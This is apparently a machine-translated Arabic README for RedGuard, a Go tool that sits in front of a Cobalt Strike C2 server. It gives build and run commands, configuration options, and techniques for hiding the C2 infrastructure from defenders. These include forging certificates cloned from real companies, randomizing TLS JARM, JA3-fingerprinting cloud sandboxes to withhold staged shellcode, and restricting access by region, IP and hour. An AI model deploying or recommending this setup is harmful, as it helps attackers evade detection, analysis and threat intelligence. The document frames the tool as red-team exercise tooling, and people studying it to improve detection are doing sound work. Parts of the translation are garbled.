RedGuard
RedGuard 24.06.18
الإنجليزية | 中文文档
RedGuard، وهي أداة مشتقة تعتمد على تقنية التحكم في التدفق الأمامي للقيادة والتحكم (C2)، تتمتع بتصميم أخف وزنًا وتفاعل حركة مرور فعال وتوافق موثوق مع التطوير في لغة البرمجة go. نظرًا لأن الهجمات السيبرانية تتطور باستمرار، فإن الفريق الأحمر والأزرق أصبحت التدريبات أكثر تعقيدًا بشكل تدريجي، وتم تصميم RedGuard لتوفير حل أفضل لإخفاء قناة C2 للفريق الأحمر، والذي يوفر التحكم في التدفق لقناة C2، ويمنع حركة مرور التحليل "الضارة"، ويكمل مهمة الهجوم بأكملها بشكل أفضل.
RedGuard هي أداة للتحكم في التدفق الأمامي C2 يمكنها تجنب اكتشافات Blue Team وAVS وEDR وCyberspace Search Engine.
يمكنك تنزيل الإصدار المجمع واستخدامه مباشرةً، أو يمكنك تنزيل حزمة go عن بُعد للتجميع والتنفيذ المستقل.
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# You can also use upx to compress the compiled file size
go build -ldflags " -s -w " -trimpath
# Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard && ./RedGuard
كما هو موضح في الشكل أدناه، قم بتعيين الأذونات القابلة للتنفيذ وقم بتهيئة RedGuard. سيؤدي التشغيل الأول إلى إنشاء ملف تكوين في الدليل الرئيسي للمستخدم الحالي لتحقيق تكوين مرن للوظيفة. اسم ملف التكوين: .RedGuard_CobaltStrike.ini .
محتوى ملف التكوين:
خيارات التكوين الخاصة بالشهادة مخصصة بشكل أساسي لمعلومات التكوين الخاصة باتصال HTTPS المشفر لشهادة SSL بين العينة والبنية التحتية الأمامية لـ C2. يتم استخدام الوكيل بشكل أساسي لتكوين خيارات التحكم في حركة مرور الوكيل العكسي. سيتم شرح الاستخدام المحدد بالتفصيل أدناه.
سيتم إنشاء اتصال HTTPS المشفر لشهادة SSL في الدليل cert-rsa/ ضمن الدليل حيث يتم تنفيذ RedGuard. يمكنك تشغيل وإيقاف الوظائف الأساسية للأداة عن طريق تعديل ملف التكوين (يتم إنشاء الرقم التسلسلي للشهادة وفقًا للطابع الزمني، لا تقلق بشأن الارتباط بهذه الميزة) . إذا كنت تريد استخدام شهادتك الخاصة فقط قم بإعادة تسميتهم إلى ca.crt وca.key.
openssl x509 -in ca.crt -noout -text
يتم تحديث بصمات أصابع TLS JARM العشوائية في كل مرة يتم فيها تشغيل RedGuard لمنع استخدامها لمصادقة البنية التحتية لـ C2.
في حالة استخدام شهادتك الخاصة، قم بتعديل معلمة HasCert في ملف التكوين إلى true لمنع مشاكل الاتصال العادية الناتجة عن عدم توافق مجموعة تشفير CipherSuites مع الشهادة المخصصة الناتجة عن عشوائية تشويش JARM.
# Whether to use the certificate you have applied for true/false
HasCert = falseعند نشر واجهة المجال لإخفاء حركة مرور C2، لا يحتوي اسم المجال المتسارع على معلومات شهادة HTTPS بشكل افتراضي. من الواضح أن هذا يمثل مشكلة، لذا عليك الانتباه إلى تكوين الشهادة عند تكوين اسم المجال. وهذا أيضًا هو الأساس الافتراضي لتحديد ما إذا كانت العينة عبارة عن حركة مرور للواجهة الأمامية للمجال.
[^Tencent Cloud]: تكوين شهادة شبكة تسليم المحتوى
أعتقد أنه سيكون لدى الجميع بعض الأسئلة بعد قراءة هذا، كيف يمكن الحصول على الشهادة التي تم تكوينها؟ إذا كنت تستخدم تطبيقك الخاص للحصول على الشهادة، فلن يحقق تأثير إخفاء الهوية الذي نتوقعه. هنا يمكنك استخدام الشهادة المستنسخة للتكوين. إذا أخذنا Tencent Cloud كمثال، فقد وجد في الاختبار أنها لن تتحقق من صحة الشهادة المخصصة التي تم تحميلها. يمكننا استخدام نفس الشهادة مثل الموقع الفعلي لاسم النطاق المتسارع لتزويره. على الرغم من أن الشهادة المزورة لا يمكنها الاتصال عند استبدال شهادة CS الافتراضية في الظروف العادية، إلا أنها لن تتحقق من صحتها عند نشرها على موفر الخدمة السحابية CDN لتسريع الموقع الكامل وRedGuard، ويمكن لحركة المرور التفاعلية C2 الاتصال بشكل طبيعي.
فيما يلي عنوان المشروع الحالي على جيثب
https://github.com/virusdefender/copy-certعلى الرغم من أن الشهادة الموجودة على جانب حركة مرور الواجهة الأمامية لنطاق العينة قد تم حلها، فمن منظور تعيين الشبكة على نطاق واسع، لا يزال خادم C2 الخاص بنا معرضًا للعالم الخارجي وربما لا يزال يتم اكتشافه وربطه بخادم C2 الحقيقي . في الوقت الحالي، يمكن استخدام RedGuard لتعديل الشهادة الافتراضية الأمامية لـ C2 لتحقيق عدم الكشف عن هويته.
[^معلومات الاستخبارات]: شهادات TLS
ما ورد أعلاه هو تأثير الشهادة المزورة لخادم C2. ويمكن ملاحظة أنها ذات مصداقية ولم تنته صلاحيتها في استخبارات مجتمع Threatbook. الطريقة الرئيسية للحصول على الشهادة الرقمية هي استخراجها وتحديثها في الوقت الفعلي أثناء تحليل العينات في صندوق الحماية السحابي، ولكن من الواضح أنه لم يتم التحقق منها بشكل فعال. تتحقق قيمة الحالة فقط من وقت انتهاء الصلاحية. يجب أن يعتمد التحقق من ثقة الشهادة فقط على إمكانية تحقيق الاتصال العادي.
تجدر الإشارة إلى أن ذكاء Threatbook لا يضع علامة على عناوين SNI وHOST لطلبات العينات باستخدام ذكاء الشهادة. هذا في الواقع لمنع الإيجابيات الكاذبة. أعتقد أن هذا صحيح. كأساس مهم لمساعدة الباحثين في التحليل، من الأفضل أن تكون معلومات التهديد غير مكتملة بدلاً من الإشارة إلى الاتجاه الخاطئ، الأمر الذي سيؤدي إلى سوء التقدير في التحليل اللاحق. إذا كان تكوين الشهادات لتسريع الموقع بالكامل هو تزوير شهادات لحركة مرور الاتصالات، فإن تكوين شهادة الاستجابة المسبقة لـ RedGuard C2 هو تزوير الخصائص السلوكية لخادم C2 الحقيقي المنشور على الشبكة العامة لتحقيق تأثيرات مضادة لرسم الخرائط، والتي ضروري جدا.
قم باستخراج الرقم التسلسلي للشهادة: 55e6acaed1f8a430f9a938c5 ، وقم بإجراء التشفير HEX للحصول على بصمة شهادة TLS: 26585094245224241434632730821
| الملكية الفكرية | ميناء | بروتوكول | خدمة | دولة | مدينة | عنوان | وقت |
|---|---|---|---|---|---|---|---|
| 103.211.xx.90 | 443 | https | أباتشي httpd | الصين | سوتشو | 百度图片-发现多彩世界 | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | الصين | سوزهو | 403 ممنوع | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | الصين | سوزهو | 403 ممنوع | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | الصين | سوزهو | 403 ممنوع | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | الصين | 405 غير مسموح به | 2023-08-28 | |
| 223.113.xx.206 | 443 | https | JSP3 | الصين | سوزهو | 403 ممنوع | 2023-08-28 |
مبلغ نتيجة البحث: 2291
ومن خلال رسم خرائط الفضاء السيبراني، تم اكتشاف 2291 عنوان IP مستقل، وأكد التحقق أن جميعها تمتلك شهادات TLS تابعة لشركة Baidu. من الصعب تحديد ما إذا كان هذا اتصالًا ضارًا يعتمد فقط على حركة الاتصالات. ومع ذلك، تم تزوير شهادات TLS الخاصة بمرافق حركة المرور الأمامية للمجال + C2، مما أدى إلى التدخل بنجاح في رسم خرائط الفضاء واستخبارات التهديدات، مما تسبب في اقتران معلومات غير صحيح، مما جعل خصائص حركة مرور المهاجم أكثر واقعية، وتحقيق الغرض من تزوير عادي حركة الاتصالات.
حتى إذا لم تكن هناك معالجة إعادة توجيه مخفية قبل مرفق الواجهة الأمامية لحركة المرور C2، فمن الأفضل تغيير شهادة RedGuard. افتراضيًا، تستخدم أي مكتبة بصمات أصابع يتم تشكيلها عن طريق تحديد بصمات الأصابع للمكونات الشائعة المستخدمة حاليًا في رسم خرائط الفضاء الإلكتروني سلوك خصائص التكوين الافتراضية للمكونات المشتركة لتحديد الهوية. قد تظهر مجموعات مختلفة خصائص فريدة مختلفة أثناء عمليات التخصيص هذه. وبطبيعة الحال، يتطلب تكوين بصمات الأصابع فهمًا معينًا لمكون الهدف، وذلك لاستخراج الخصائص الافتراضية للهدف وتكوين بصمة مرتبطة به. هنا، يتم استخدام الخصائص السلوكية لشهادة RG لرسم خرائط الفضاء الإلكتروني، والتي ترتبط بعدد كبير من عقد RG المنتشرة على الشبكة العامة.
ليس من المستغرب أن يتمكن المؤلف من استخراج بصمة الإصبع، ولكن لا يزال من المستحسن أن يقوم مستخدمو RedGuard بتعديل معلومات الشهادة الافتراضية وأن يصبحوا متسللين محترفين :)
root@VM-4-13-ubuntu: ~ # ./RedGuard -h
Usage of ./RedGuard:
-DelHeader string
Customize the header to be deleted
-DropAction string
RedGuard interception action (default " redirect " )
-EdgeHost string
Set Edge Host Communication Domain (default " * " )
-EdgeTarget string
Set Edge Host Proxy Target (default " * " )
-FieldFinger string
Set HTTP Header identification field Info
-FieldName string
Set the name of the HTTP Header identification field
-HasCert string
Whether to use the certificate you have applied for (default " true " )
-allowIP string
Proxy Requests Allow IP (default " * " )
-allowLocation string
Proxy Requests Allow Location (default " * " )
-allowTime string
Proxy Requests Allow Time (default " * " )
-common string
Cert CommonName (default " *.aliyun.com " )
-config string
Set Config Path
-country string
Cert Country (default " CN " )
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default " :80 " )
-https string
Set Proxy HTTPS Port (default " :443 " )
-ip string
IPLookUP IP
-locality string
Cert Locality (default " HangZhou " )
-location string
IPLookUP Location (default "风起" )
-malleable string
Set Proxy Requests Filter Malleable File (default " * " )
-organization string
Cert Organization (default " Alibaba (China) Technology Co., Ltd. " )
-redirect string
Proxy redirect URL (default " https://360.net " )
-type string
C2 Server Type (default " CobaltStrike " )
-u Enable configuration file modificationملاحظة: يمكنك استخدام أمر المعلمة لتعديل ملف التكوين. بالطبع، أعتقد أنه قد يكون أكثر ملاءمة لتعديله يدويًا باستخدام vim.
إذا قمت بالوصول مباشرة إلى منفذ الوكيل العكسي، فسيتم تشغيل قاعدة الاعتراض. هنا يمكنك رؤية الدليل الجذر لطلب العميل من خلال سجل الإخراج، ولكن نظرًا لأن الطلب لا يحمل بيانات الاعتماد المطلوبة التي تمثل رأس طلب HOST الصحيح، يتم تشغيل قاعدة الاعتراض الأساسية، ويتم إعادة توجيه حركة المرور إلى https:/ /360.نت
هذا مجرد عرض توضيحي للإخراج، ويمكن تشغيل الاستخدام الفعلي في الخلفية من خلال nohup ./RedGuard & .
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }ليس من الصعب أن نرى من الشريحة أعلاه أن 360.net وكيل للمنفذ المحلي 8080، و360.com وكيل للمنفذ المحلي 4433، كما أن بروتوكول HTTP المستخدم مختلف أيضًا. في الاستخدام الفعلي، من الضروري الانتباه إلى نوع بروتوكول المستمع. بما يتوافق مع الإعدادات هنا، قم بتعيين رأس طلب HOST المقابل.
كما هو موضح في الشكل أعلاه، في حالة الوصول غير المصرح به، فإن معلومات الاستجابة التي نحصل عليها هي أيضًا معلومات الإرجاع الخاصة بالموقع المعاد توجيهه.
في حالة الاعتراض الأساسية المذكورة أعلاه، يتم استخدام طريقة الاعتراض الافتراضية، ويتم اعتراض حركة المرور غير القانونية عن طريق إعادة التوجيه. من خلال تعديل ملف التكوين، يمكننا تغيير طريقة الاعتراض وعنوان URL للموقع المعاد توجيهه. في الواقع، بدلاً من تسمية هذا بإعادة التوجيه، أعتقد أنه قد يكون من المناسب وصفه بأنه اختطاف واستنساخ، نظرًا لأن رمز حالة الاستجابة الذي تم إرجاعه هو 200، ويتم الحصول على الاستجابة من موقع ويب آخر لتقليد موقع الويب المستنسخ/المختطف على أنه عن كثب قدر الإمكان.
يمكن توجيه الحزم غير الصالحة بشكل غير صحيح وفقًا لثلاث إستراتيجيات:
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://360.net إعادة التوجيه = يشير عنوان URL الموجود في ملف التكوين إلى عنوان URL المختطف. يدعم RedGuard "التغيير السريع"، مما يعني أنه أثناء تشغيل الأداة في الخلفية من خلال nohup ، لا يزال بإمكاننا تعديل ملف التكوين. يتم بدء المحتوى وإيقافه في الوقت الفعلي.
./RedGuard -u --drop true لاحظ أنه عند تعديل ملف التكوين من خلال سطر الأوامر، يجب ألا يكون الخيار -u مفقودًا، وإلا فلن يمكن تعديل ملف التكوين بنجاح. إذا كنت بحاجة إلى استعادة إعدادات ملف التكوين الافتراضية، فما عليك سوى إدخال ./RedGuard -u .
طريقة اعتراض أخرى هي DROP، والتي تغلق استجابة اتصال HTTP مباشرة ويتم تمكينها عن طريق تعيين DROP = true . تأثير الاعتراض المحدد هو كما يلي:
ويمكن ملاحظة أن التحكم في التدفق الأمامي C2 يغلق الاستجابة مباشرة للطلبات غير القانونية بدون رمز استجابة HTTP. في الكشف عن خرائط الفضاء الإلكتروني، يمكن لطريقة DROP إخفاء فتح المنافذ. يمكن رؤية التأثير المحدد في الحالة التالية. تحليل.
أعتقد أن العديد من المستخدمين سيكونون مهتمين باختطاف الاستجابة . المبدأ العام هو أنه عندما يبدأ العميل طلبًا إلى خادم C2 الحقيقي، نظرًا لأنه لا يفي بالقواعد الواردة، سيحصل خادم C2 على الموقع العادي المحدد ويعيد معلومات الاستجابة الخاصة به. لذلك، من نهاية طلب التأثير، يبدو أنه يتفاعل مع خدمة IP، ولكن في الواقع، يتم استخدام خادم C2 الوسيط كخادم وكيل للتفاعل مع الموقع العادي، ومن الصعب العثور على أي شذوذ. إذا استوفى الطلب الوارد، فسيتم إعادة توجيه طلب المرور إلى منفذ الاستماع لخدمة C2 الحقيقي للتفاعل، وتمت تصفية منفذ الاستماع الحقيقي بواسطة جدار الحماية السحابي، مما يسمح بالوصول المحلي فقط، ولا يمكن الوصول إليه مباشرة من الخارج . لذلك من منظور فتح المنفذ الخارجي، يكون منفذ HTTP/S فقط مفتوحًا، وإلى حد ما، هذا هو بالفعل منفذ C2 عبر الإنترنت.
[^مخطط تدفق حركة المرور]: عملية تفاعل حركة مرور خادم C2
في بيانات خرائط الفضاء الإلكتروني، يكون رمز استجابة المنفذ المفتوح HTTP/S لعنوان IP هو 200، وليس قفزة 307، وهو أكثر أصالة.
شهادة HTTPS لها نفس تأثير الشهادة المزورة المذكورة أعلاه، وكلاهما عبارة عن بصمات شهادات حقيقية.
أعتقد أن العديد من الفرق الحمراء ستستخدم على نطاق واسع أساليب الإخفاء مثل الوظائف السحابية/واجهة المجال في عملية قتال المشاريع. ومع ذلك، في المواجهة الهجومية والدفاعية اليوم، تواجه طريقتي الإخفاء المذكورتين أعلاه مشكلة قاتلة، أي أنه يمكنهما الاتصال مباشرة بخدمة C2. والنتيجة هي بلا شك أنه عندما نفهم عنوان الوظيفة السحابية أو IP/HOST التفاعلي لواجهة المجال، يمكننا الوصول مباشرة إلى خدمة الاستماع C2 وإثبات أنها منشأة هجوم.
نظرًا لأن حركة المرور يمكن أن تصل مباشرة إلى C2، فمن المفيد التفكير فيما إذا كان جهاز الأمان يمكنه إجراء فحص CS على حركة المرور التي لا تتطابق مع SNI وHOST لتحديد ما إذا كانت حركة مرور ضارة. وينطبق الشيء نفسه على الوظائف السحابية أو بيئات وضع الحماية. بالإضافة إلى جانب العينة، يمكن أن يكون هناك أيضًا المزيد من عمليات التحليل على مستوى حركة المرور.
بعد استجابة الاختطاف، يمكن أن يتفاعل الوصول المباشر إلى خدمة HTTP مع موقع الويب بشكل طبيعي، ولكن لا يمكن لـ Cscan مسح نموذج المعلومات لأن حركة المرور لا يمكنها الوصول إلى مستمع C2 الحقيقي. لا يكون التفاعل العادي لـ C2 ممكنًا إلا عند استيفاء خصائص بدء حركة المرور. ومع ذلك، هناك مشكلة. يحتاج البرنامج النصي للمسح C2 إلى الامتثال للقواعد الواردة، مما يضع اختبارًا معينًا على قدرة التشفير لمحللي الفريق الأزرق. البرنامج النصي للمسح العام حاليًا موجود في شكل Nmap.
يوفر JA3 بصمة يمكن التعرف عليها بشكل أكبر للاتصالات المشفرة بين العملاء والخوادم. ويستخدم بصمات TLS لتحديد مفاوضات TLS بين العملاء الضارين والخوادم، وبالتالي تحقيق تأثير ربط العملاء الضارين. من السهل إنشاء بصمة الإصبع هذه على أي نظام أساسي باستخدام تشفير MD5، وهي تُستخدم حاليًا على نطاق واسع في الاستخبارات المتعلقة بالتهديدات. على سبيل المثال، يمكن رؤيته في تقارير تحليل العينات لبعض صناديق الرمل لإثبات الارتباط بين العينات المختلفة.
إذا تمكنا من إتقان JA3(S) لخادم C2 والعميل الضار، حتى لو كانت حركة المرور مشفرة وكان عنوان IP أو اسم المجال لخادم C2 غير معروف، فلا يزال بإمكاننا تحديد مفاوضات TLS بين العميل الضار والعميل الضار. الخادم من خلال بصمات الأصابع TLS. أعتقد أنه يمكن للجميع التفكير في هذا بعد رؤيته، وهو أيضًا إجراء للتعامل مع أساليب إخفاء إعادة توجيه حركة المرور مثل واجهة المجال والوكيل العكسي والوظيفة السحابية. من خلال تحديد عينة تنفيذ وضع الحماية وتفاوض TLS لاتصالات C2 وإنشاء بصمات JA3(S)، والتي يمكن تطبيقها على معلومات التهديد لتحقيق التتبع الإضافي.
لقد أعلنت عن هذه التقنية في عام 2022. عند اختبار بيئة الحماية ذات الخطوات الدقيقة، وجدت أنه على الرغم من أن عدد عناوين IP للخروج التي تطلب التفاعل كان صغيرًا، إلا أنه لم يكن دقيقًا تحديد وضع الحماية بواسطة IP، وكانت هذه ميزة تم تغييرها بسهولة ، لكن بصمة JA3 الخاصة به كانت فريدة من نوعها في نفس بيئة النظام. في وقت لاحق، تلقيت تعليقات تفيد بأن وضع الحماية قد أكمل التوزيع العشوائي لبصمات الأصابع، لكن الاختبارات الأخيرة وجدت أنه لم يتم تنفيذه بالكامل. ما زلت آمل أن أواجه مشكلة بصمات الأصابع على الجانب المروري.
من منظور صندوق الحماية السحابي، من خلال مراقبة تفاعل حركة المرور بين العينة وخادم C2، يتم إنشاء بصمة JA3(S) لتحديد العميل الضار وبالتالي إنشاء ارتباط. بالتفكير بشكل عكسي، باعتبارنا منشأة للتحكم في حركة المرور أمام C2، يمكننا أيضًا إجراء مثل هذه العمليات للحصول على بصمة JA3 لطلب العميل. من خلال تصحيح أخطاء بيئات وضع الحماية المختلفة، يتم الحصول على بصمات JA3 هذه لتشكيل مكتبة بصمات الأصابع، وبالتالي تشكيل استراتيجية اعتراض أساسية.
تخيل أنه في عملية تفاعل طروادة على مراحل، سيقوم المُحمل أولاً بسحب كود القشرة الخاص بالعنوان البعيد. وبعد ذلك، عندما تحدد حركة المرور أن الطلب يلبي خصائص وضع الحماية السحابي لمكتبة بصمات الأصابع JA3، فسوف تعترض الطلبات اللاحقة. إذا تعذر الحصول على كود القشرة، فلا يمكن إكمال عملية التحميل بأكملها، وبطبيعة الحال لا يمكن لصندوق الحماية تحليله بالكامل. إذا كانت البيئة عبارة عن حصان طروادة بدون مراحل، فلن يكون من الممكن أيضًا تحميل تحليل وضع الحماية أخيرًا إلى خادم C2. أعتقد أن الجميع قد استيقظوا من نومهم ووجدوا الكثير من سجلات وضع الحماية طويلة الأمد معلقة على C2. بالطبع، في الحالة المثالية، يمكننا تحديد بيئات وضع الحماية المختلفة، والتي تعتمد بشكل أساسي على موثوقية مكتبة بصمات الأصابع.
أثناء الاختبار، وجدت أنه بعد إضافة بصمة JA3 لمكتبة طلبات اللغة ZoomEye GO إلى مكتبة بصمات الأصابع ومراقبة حركة مرور طلبات RG، أدت معظم الطلبات إلى الاعتراض الأساسي لميزة مكتبة بصمات الأصابع JA3. أعتقد هنا أن اللغة الأساسية لمنتج المسح ورسم الخرائط هي جزء من مهمة المسح التي يتم تنفيذها بلغة GO. ومن خلال الرابط، أكمل منطق المسح المكون من لغات أساسية مختلفة أخيرًا مهمة المسح بأكملها. وهذا ما يفسر أيضًا سبب قيام المسح الضوئي لبعض منتجات المسح ورسم الخرائط بتشغيل ميزة اعتراض بصمات الأصابع JA3 في مكتبة طلبات اللغة GO. مبدأ قاعدة التعرف هو نفس مبدأ بصمة الحماية السحابية. يستخدم كلاهما تفرد بيئة عميل الطلب ومكتبة الطلبات. على عكس جانب الكمبيوتر الشخصي، لن يتم تغيير بيئة الطلب لهذه المنتجات بشكل أساسي حسب الرغبة، مما يمكننا أيضًا من فهم بصمة جانب حركة المرور الخاصة بها واعتراضها ، لذا هل يمكننا التفكير فيما إذا كان جهاز الأمان يمكنه استخدام بصمة JA3 الخاصة بالكشف النشط حركة المرور كأساس للاعتراض؟ وبطبيعة الحال، عندما تكون حركة الأعمال كبيرة، قد يكون هناك قدر معين من الإنذارات الكاذبة. نحن هنا نقترح فقط متطلبات المنتج الممكنة من الناحية النظرية.
يمكن لمستخدمي PS أيضًا تحميل العينات إلى وضع الحماية للحصول على بصمات أصابع JA3 والتحقق منها وإضافتها إلى مكتبة بصمات الأصابع. تجدر الإشارة إلى أنه لا معنى له إذا قام وضع الحماية بتغيير بصمة JA3 فقط وليس بصمة الإصبع المذكورة أعلاه. ما يجب حله حقًا هو أنه في كل مرة يقوم فيها صندوق الرمل بإجراء تحليل ديناميكي، فهو ليس نفس بصمة الإصبع، ويجب أن تلبي تغييراته متطلبات عدم التكرار قدر الإمكان. إذا كان معدل التكرار مرتفعًا، فسيتم استخدامه كبصمة.
يدعم حاليًا تحديد واعتراض صندوق الحماية السحابي لكتاب التهديدات كعرض توضيحي للتأثير
يحقق تكوين المعلمتين التاليتين في ملف التكوين تأثير تغيير منفذ الوكيل العكسي. يوصى باستخدام إخفاء المنفذ الافتراضي طالما أنه لا يتعارض مع منفذ الخادم الحالي. إذا كان لا بد من تعديله، انتبه إلى : قيمة المعلمة التي يجب ألا تكون مفقودة
# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
Port_HTTP = :80يتم تحليل سلوك تتبع الفريق الأزرق من خلال سجل الاعتراض للطلب المستهدف، والذي يمكن استخدامه لتتبع أحداث/مشكلات اتصال الأقران. يتم إنشاء ملف السجل في الدليل الذي يتم تشغيل RedGuard فيه، اسم الملف: RedGuard.log .
يصف هذا القسم كيفية تكوين RG للحصول على عنوان IP الحقيقي للطلب. ما عليك سوى إضافة التكوين التالي إلى ملف تعريف جهاز C2، ويتم الحصول على عنوان IP الحقيقي للهدف من خلال رأس الطلب X-Forwarded-For.
http-config {
set trust_x_forwarded_for " true " ;
} تأخذ طريقة التكوين AllowLocation = Jinan, Beijing كمثال. لاحظ أن RedGuard يوفر اثنين من واجهات برمجة التطبيقات (API) لإسناد IP العكسي، أحدهما للمستخدمين في البر الرئيسي للصين والآخر للمستخدمين في خارج البر الرئيسي للصين، ويمكنه تعيين واجهة برمجة التطبيقات (API) التي سيتم استخدامها ديناميكيًا وفقًا لاسم المجال الجغرافي المُدخل، إذا كان الهدف هو الصين. استخدم اللغة الصينية للمنطقة المحددة، وإلا استخدم أسماء الأماكن باللغة الإنجليزية. من المستحسن أن يستخدم المستخدمون في بر الصين الرئيسي الأسماء الصينية، بحيث تكون دقة الإسناد وسرعة استجابة واجهة برمجة التطبيقات (API) التي يتم الحصول عليها عن طريق الاستعلام العكسي هي أفضل الخيارات.
ملاحظة: مستخدمو البر الرئيسي الصيني، لا يستخدمون allowLocation = Jinan,beijing بهذه الطريقة! هذا ليس منطقيًا، فالحرف الأول من قيمة المعلمة يحدد واجهة برمجة التطبيقات التي سيتم استخدامها!
# IP address owning restrictions example:AllowLocation = 山东，上海，杭州 or shanghai,beijing
AllowLocation = * 
قبل أن تقرر تقييد المنطقة، يمكنك الاستعلام يدويًا عن عنوان IP عن طريق الأمر التالي.
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to queryلقد قررنا هنا السماح لمنطقة شاندونغ فقط بالاتصال بالإنترنت
المرور القانوني:
منطقة الطلب غير القانوني:
وفيما يتعلق بارتباطات القيود الجغرافية، فقد يكون الأمر أكثر عملية في التمرين الهجومي والدفاعي الحالي. في الأساس، تقع أهداف القيود الهجومية والدفاعية الإقليمية والبلدية في مناطق محددة، ومن الطبيعي أن يتم تجاهل حركة المرور التي تطلبها المناطق الأخرى. لا تستطيع وظيفة RedGuard هذه تحديد منطقة واحدة فحسب، بل يمكنها أيضًا تحديد مناطق اتصال متعددة وفقًا للمقاطعات والمدن، واعتراض حركة المرور التي تطلبها المناطق الأخرى.
بالإضافة إلى القائمة السوداء IP المضمنة لموردي الأمن السيبراني في RedGuard، يمكننا أيضًا التقييد وفقًا لطريقة القائمة البيضاء. في الواقع، أقترح أيضًا أنه أثناء اختراق الويب، يمكننا تقييد عناوين IP عبر الإنترنت وفقًا للقائمة البيضاء لتقسيم طرق متعددة لعنوان IP.
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
كما هو موضح في الشكل أعلاه، فإننا نقيد السماح باتصالات 127.0.0.1 فقط، ثم سيتم حظر حركة الطلب لعناوين IP الأخرى.
هذه الوظيفة أكثر إثارة للاهتمام. إن تعيين قيم المعلمات التالية في ملف التكوين يعني أن مرفق التحكم في حركة المرور يمكنه الاتصال فقط من الساعة 8:00 صباحًا حتى 9:00 مساءً. سيناريو التطبيق المحدد هنا هو أنه خلال وقت الهجوم المحدد، نسمح بالاتصال مع C2، ونظل صامتين في أوقات أخرى. يتيح هذا أيضًا للفرق الحمراء الحصول على نوم جيد ليلاً دون القلق بشأن شعور بعض الفرق الزرقاء المناوبة ليلاً بالملل من تحليل حصان طروادة الخاص بك ثم الاستيقاظ على شيء لا يوصف، هاهاها.
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
يستخدم RedGuard ملف التعريف القابل للطرق C2. فهو يقوم بتحليل قسم ملف التكوين القابل للتوسيع المقدم لفهم العقد وتمرير الطلبات الواردة التي تلبيه فقط، مع تضليل الطلبات الأخرى. تُستخدم أجزاء مثل http-stager و http-get و http-post وما يقابلها من uris والرؤوس ووكيل المستخدم وما إلى ذلك لتمييز طلبات الإشارات القانونية عن ضوضاء الإنترنت غير ذات الصلة أو حزم IR/AV/EDR خارج الحدود.
# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
يوصى باستخدام الملف الشخصي الذي كتبه 风起:
https://github.com/wikiZ/CobaltStrike-Malleable-Profile
في Cobalt Strike 4.7+، يقوم Teamserver تلقائيًا بإزالة رأس Content-Encoding دون أي إشعار، مما قد يتسبب في حدوث انتهاك مرن لـ http-(get|post).server. علاوة على ذلك، إذا لم يكن هناك نوع محتوى في رسالة استجابة خادم CS، ولكن بعد إعادة توجيهه بواسطة RedGuard، تتم إضافة نوع المحتوى إلى رأس رسالة الاستجابة، مما يتسبب في قيام cf بتخزين الصفحة مؤقتًا والتسبب في التداخل.
بعد RedGuard 23.08.21، تمت إضافة وظيفة تخصيص رأس حزمة الاستجابة. يمكن للمستخدمين تخصيص معلومات الرأس في حزمة الاستجابة وحذفها عن طريق تعديل ملف التكوين لحل مشكلة التحليل غير الصحيح.
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-Encodingقام RedGuard 23.05.13 بتحديث وظيفة التعرف على بصمات الأصابع لعينة طروادة، والتي تعتمد على تخصيص حقل رأس HTTP لملف التعريف القابل للطرق باعتباره " قيمة عينة الملح " لبصمة الإصبع لتحديد نفس مستمع C2 /مضيف الرأس بشكل فريد. بالإضافة إلى ذلك، يمكن استخدام بصمة عينة طروادة التي تم إنشاؤها من خلال الجمع بين حقول الطلب الأخرى ذات الصلة لاكتشاف حيوية العينة المخصصة. وفقًا لمتطلبات مهمة المهاجم، يمكن لوظيفة التعرف على بصمات الأصابع لعينة طروادة إجراء " عملية دون اتصال " على العينات التي تريد تعطيلها، لتجنب تحليل حركة المرور الضارة لنموذج الاتصال وتحليل اكتساب حمولة هجوم PAYLOAD بشكل أفضل، وتوفير المزيد تدابير التخفي الشخصية للمهاجم.
بالنسبة لمستمعي C2 المختلفين، يمكننا إعطاء أسماء مستعارة مختلفة لتكوينات ملف التعريف القابل للطرق، وتخصيص أسماء الحقول وقيم الرؤوس ذات الصلة كقيمة ملح العينة، واستخدامها كأحد الفروق بين العينات المختلفة. التعليمة البرمجية التالية هي لأغراض التوضيح، وفي سيناريوهات الهجوم والدفاع الفعلية يمكننا استخدام حقول حزم طلب HTTP الأكثر واقعية كأساس للحكم.
http-get " listen2 " {
set uri " /image.gif " ;
client {
header " Accept-Finger " " 866e5289337ab033f89bc57c5274c7ca " ; //Custom HTTP Header and Value
metadata {
print
}
}
}حركة مرور HTTP
كما هو موضح في الشكل، نستخدم نموذج قيمة الملح وحقل المضيف أعلاه كأساس لإنشاء بصمات الأصابع. وهنا نعرف:
ومن خلال ربط القيم السابقة يتم الحصول على بصمة العينة كما يلي:
22e6db08c5ef1889d64103a290ac145cالآن بعد أن عرفنا نموذج بصمة الإصبع أعلاه، يمكننا تعيين حقل الرأس المخصص ونموذج بصمة الإصبع في ملف تكوين RedGuard لاعتراض حركة المرور الضارة. تجدر الإشارة إلى أنه يمكننا توسيع نماذج بصمات أصابع متعددة، مفصولة بفواصل، ويجب أن يكون اسم الحقل متسقًا مع اسم حقل الرأس الذي تم تكوينه في ملف التعريف القابل للطرق
نظرًا لأن ملف تكوين RedGuard عبارة عن تكوين ساخن، فلا نحتاج إلى إعادة تشغيل RedGuard لاعتراض العينات التي نريد تعطيلها. عندما نريد إعادة تنشيط العينة، نحتاج فقط إلى حذف بصمة العينة ذات الصلة من ملف تكوين RedGuard.
تأثير مظاهرة:
